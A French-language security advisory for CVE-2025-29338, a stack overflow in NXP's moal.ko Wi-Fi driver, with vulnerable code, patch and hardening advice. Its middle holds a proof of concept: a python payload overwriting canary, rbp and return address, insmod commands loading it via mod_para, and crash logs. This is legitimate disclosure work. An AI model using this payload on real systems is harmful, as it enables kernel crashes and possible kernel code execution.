
Avis technique et preuve de concept pour un dépassement de tampon basé sur la pile (CWE-121) dans le pilote noyau Wi-Fi NXP moal.ko, permettant une panique du noyau locale et une exécution potentielle de code arbitraire.
woal_setup_module_param / parse_cfg_get_line)| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2025-29338 |
| Sévérité | Élevée |
| Score CVSS v3.1 | 7.8 |
| Vecteur CVSS v3.1 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Type de vulnérabilité | Dépassement de tampon basé sur la pile (CWE-121) |
| Vecteur d'attaque | Local |
| Fournisseur | NXP Semiconductors |
| Statut du correctif | Corrigé |
| Découvreur | Mahmoud Jadaan — diconium auto GmbH |
Une vulnérabilité de dépassement de tampon basé sur la pile existe dans le pilote noyau Wi-Fi moal.ko de NXP (version 5.1.7.10) pour les versions de firmware v17.92.1.p149.43 à v17.92.1.p149.157. La vulnérabilité se situe dans parse_cfg_get_line (mlinux/moal_init.c), appelée depuis woal_setup_module_param. La boucle while qui lit les lignes du fichier de configuration dans un tampon de taille fixe sur la pile ne vérifie pas la taille de destination, permettant à une ligne de longueur arbitraire de dépasser la taille du tampon, de corrompre la pile et de provoquer un panique du noyau. NXP PSIRT a confirmé la vulnérabilité et le correctif a été publié.
woal_setup_module_param alloue un tampon de taille fixe MAX_LINE_LEN sur la pile et le passe à parse_cfg_get_line à chaque itération lors du traitement du fichier de configuration mod_para :
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// traitement de la ligne
}
Dans la version vulnérable de parse_cfg_get_line, la condition de la boucle while ne vérifie que la position source et les terminaisons de ligne — il n'y a aucune vérification du nombre d'octets écrits dans le tampon de destination :
// parse_cfg_get_line — version vulnérable (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // écriture non vérifiée — pas de contrôle de limite de destination
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
Une ligne du fichier de configuration plus longue que MAX_LINE_LEN octets entraîne le dépassement de dest au-delà de la fin du tampon de l'appelant, écrasant la mémoire de la pile adjacente, y compris le pointeur de frame et l'adresse de retour sauvegardés.
Le pilote est chargé au démarrage du système avec insmod en utilisant le paramètre mod_para pointant vers un fichier de configuration. Un attaquant qui peut écrire un fichier de configuration malveillant et recharger le module noyau peut déclencher le dépassement.
| Impact | Description |
|---|---|
| Déni de service | Panique du noyau — confirmé ; provoque un redémarrage immédiat du système |
| Corruption de la mémoire du noyau | L'écrasement de la pile remplace le sauvegardé et l'adresse de retour |
Score de base : 7.8 (Élevée)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Fournie à des fins défensives et de recherche uniquement.
#!/bin/sh
rmmod moal
rmmod mlan
Le tampon de la pile est rempli de A, suivi de 8 octets pour l'emplacement du canari de pile (B), 8 octets pour le rbp sauvegardé (C), et 8 octets pour écraser l'adresse de retour (D) :
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
Le chemin mod_para doit être relatif au répertoire dans lequel le noyau cherche le firmware (généralement /lib/firmware/). Construisez le chemin en conséquence :
#!/bin/sh
PAYLOAD_PATH=../../<chemin_relatif_vers>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
Une panique du noyau est déclenchée immédiatement lors de l'initialisation du module. Les journaux du noyau confirment que l'adresse de retour est écrasée avec 0x4444444444444444 (ASCII DDDDDDDD), démontrant un contrôle total du pointeur d'instruction :
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- adresse de retour contrôlée
NXP PSIRT a confirmé la vulnérabilité et fourni le correctif suivant pour mlinux/moal_init.c. Le correctif ajoute une vérification de limite à l'intérieur de la boucle parse_cfg_get_line pour sortir avant de dépasser MAX_LINE_LEN :
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
Mettez à jour vers une version de firmware postérieure à v17.92.1.p149.157 qui inclut le correctif ci-dessus. Comme renforcement supplémentaire :
CAP_SYS_MODULE aux administrateurs de confiance ; appliquez des restrictions sur les appels système init_module / finit_module via SELinux, AppArmor ou seccomp.mod_para et les fichiers qu'il pointe ne sont accessibles en écriture que par root.NXP PSIRT a confirmé la vulnérabilité. Le correctif a été publié dans le cadre d'une mise à jour logicielle formelle.
Découvreur : Mahmoud Jadaan — diconium auto GmbH
Cet avis est publié comme référence publique pour satisfaire aux exigences minimales de divulgation CVE conformément au programme CVE.
| Champ | Détail |
|---|
| Fournisseur | NXP Semiconductors |
| Composant | Pilote noyau Wi-Fi moal.ko |
| Version du pilote | 5.1.7.10 |
| Firmware — Première version affectée | v17.92.1.p149.43 |
| Firmware — Dernière version affectée | v17.92.1.p149.157 |
| Attribut | Valeur |
|---|
| Type | Local |
| Privilèges requis | CAP_SYS_MODULE (root ou équivalent) |
| Interaction utilisateur | Aucune |
| Surface d'attaque | Paramètre du module noyau mod_para (chemin du fichier de configuration) |
rbp| Exécution de code potentielle | Adresse de retour contrôlée — une exécution arbitraire de code en mode noyau est possible selon les mesures d'atténuation en place (canari de pile, KASLR, etc.) |
| Métrique | Valeur | Justification |
|---|
| Vecteur d'attaque (AV) | Local (L) | Nécessite un accès local au système |
| Complexité d'attaque (AC) | Faible (L) | Pas de conditions de course ni de prérequis complexes |
| Privilèges requis (PR) | Élevé (H) | Nécessite CAP_SYS_MODULE / root |
| Interaction utilisateur (UI) | Aucune (N) | Entièrement contrôlé par l'attaquant |
| Portée (S) | Inchangée (U) | L'impact reste dans le contexte du noyau |
| Confidentialité (C) | Élevée (H) | Mémoire du noyau potentiellement lisible |
| Intégrité (I) | Élevée (H) | Écrasement de l'adresse de retour démontré |
| Disponibilité (A) | Élevée (H) | Panique du noyau / redémarrage confirmé |